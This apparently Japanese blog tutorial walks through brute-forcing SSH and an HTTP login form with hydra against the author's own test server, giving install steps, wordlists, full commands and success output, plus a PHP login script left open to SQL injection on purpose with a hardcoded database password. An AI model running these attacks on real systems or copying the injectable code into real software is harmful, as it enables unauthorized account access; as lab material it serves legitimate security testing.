hydraでブルートフォースアタックをする


はじめに
---------

hydra(ヒュドラ)というパスワードクラッカーを利用して
ブルートフォースアタックの検証を実施しました。

攻撃対象は自分で用意したwebサーバです。


hydra対応プロトコル
---------------------

* ftp
* ssh
* http
* imap
* pop3


検証環境
---------

* 攻撃用サーバ(sqlmap実行側):

  * OS: CentOS6.4 x86_64

  * Python: python2.2.6

* 攻撃対象サーバ:

  * OS: CentOS6.4 x86_64

  * php: 5.3.2

  * Apache: 2.2.25

  * PostgreSQL: 9.2.5


攻撃対象サイト
---------------

下記のPHPスクリプトを用意しました。

ログインフォーム(sql_injection-002.html):

```html
<html>
<head><title>ログインしてください</title></head>
<body>
<form action="sql_injection-003.php" method="POST">
ユーザ名<input type="text" name="ID"><br>
パスワード<input type="text" name="PWD"><br>
<input type="submit" value="ログイン">
</form>
</body>
</html>
```

ログイン処理スクリプト(sql_injection-003.php):

```php
<?php
  session_start();
  header('Content-Type: text/html; charset=UTF-8');
  $id = @$_POST['ID'];   // ユーザID
  $pwd = @$_POST['PWD']; // パスワード
  // データベースに接続しコネクションオブジェクトを生成
  $con = pg_connect("host=localhost dbname=wasbook user=postgres password=wasbook");
  // SQLの組み立て(プレースホルダは意図的に使用しない)
  $sql = "SELECT * FROM users WHERE id ='$id' and PWD = '$pwd'";
  $rs = pg_query($con, $sql);  // クエリー実行
?>
<html>
<body>
<?php
  if (pg_num_rows($rs) > 0) { // SELECTした行が存在する場合ログイン成功
    $_SESSION['id'] = $id;
    echo 'ログイン成功です';
  } else {
    echo 'ログイン失敗です';
  }
  pg_close($con);
?>
</body>
</html>
```

hydraインストール
--------------------

hydraインストール前に`libssh`と`libssh-devel`を事前にインストールしておきます。

これをいれないと、hydraでsshのブルートフォースアタックが実行できません。

ちなみに、`libssh`と`libssh-devel`はCentOS6の場合、`yum`でもインストールできますが
hydraがサポートしているのが、CentOS6の標準リポジトリにはないバージョン`0.4.6`だった
ため、rpmファイルをとってきて、手動でインストールしています。

```bash
# wget "http://apt.sw.be/redhat/el6/en/x86_64/rpmforge/RPMS/libssh-0.4.6-1.el6.rf.x86_64.rpm"

# wget "http://apt.sw.be/redhat/el6/en/x86_64/rpmforge/RPMS/libssh-devel-0.4.6-1.el6.rf.x86_64.rpm"

# rpm -ivh libssh-0.4.6-1.el6.rf.x86_64.rpm 

# rpm -ivh libssh-devel-0.4.6-1.el6.rf.x86_64.rpm
```

次にhydraをインストールします。

```bash
# wget "http://pkgs.fedoraproject.org/lookaside/extras/hydra/hydra-7.6.tar.gz/62af688a07830d505d227bdaaeff9e0a/hydra-7.6.tar.gz"

# tar zxvf hydra-7.6.tar.gz

# cd hydra-7.6/

# ./configure 

# make

# make install
```


事前準備
----------

ユーザIDとパスワードの辞書を用意します。

辞書生成ツールを使ってもいいですが、ここでは手動で以下のファイルを作成しました。

ユーザID(userlist.txt):

```bash
# cat userlist.txt
administrator
anonymous
corporatename
yamada <-これがwebフォームログイン用のユーザID
email
guest
root
testuser
uniqueid
user 
```

パスワード(passlist.txt):

```bash
# cat passlist.txt 
1234
address
adminpass
password
rootpass
qwerty
testtest
zipcode
abcde <-これがsshログイン用のパスワード
pass1 <-これがwebフォームログイン用のパスワード
```

sshブルートフォース
--------------------

構文:

```bash
hydra -l [ユーザ名] -P [パスワード辞書ファイル] [対象サーバ名/対象サーバIPアドレス] ssh
```

実行例:

```bash
# hydra -l sec-demo -P passlist.txt example.jp ssh                                                                                                          
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-20 12:50:54
[DATA] 10 tasks, 1 server, 10 login tries (l:1/p:10), ~1 try per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 203.216.196.223   login: sec-demo   password: abcde <-成功している
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-20 12:50:56
```

httpログインフォームブルートフォース
---------------------------------------

構文(postの場合):

```bash
# hydra -L [ユーザID辞書ファイル] -P [パスワード辞書ファイル] [対象サーバ名/対象サーバIPアドレス] http-post-form 'パス:クエリ:ログイン失敗文字列'
```

実行例:

```bash
# hydra -L userlist.txt -P passlist.txt example.jp http-post-form '/sql_injection-003.php:ID=^USER^&PWD=^PASS^:ログイン失敗です'
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only                                                                                             

Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-20 13:11:56
[DATA] 16 tasks, 1 server, 100 login tries (l:10/p:10), ~6 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 203.216.196.223   login: yamada   password: pass1 <-成功している
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-20 13:11:57
```

最後に
-------

httpログインフォームのブルートフォースアタックで、ログイン成功文字列を指定する方法を知りたい、、、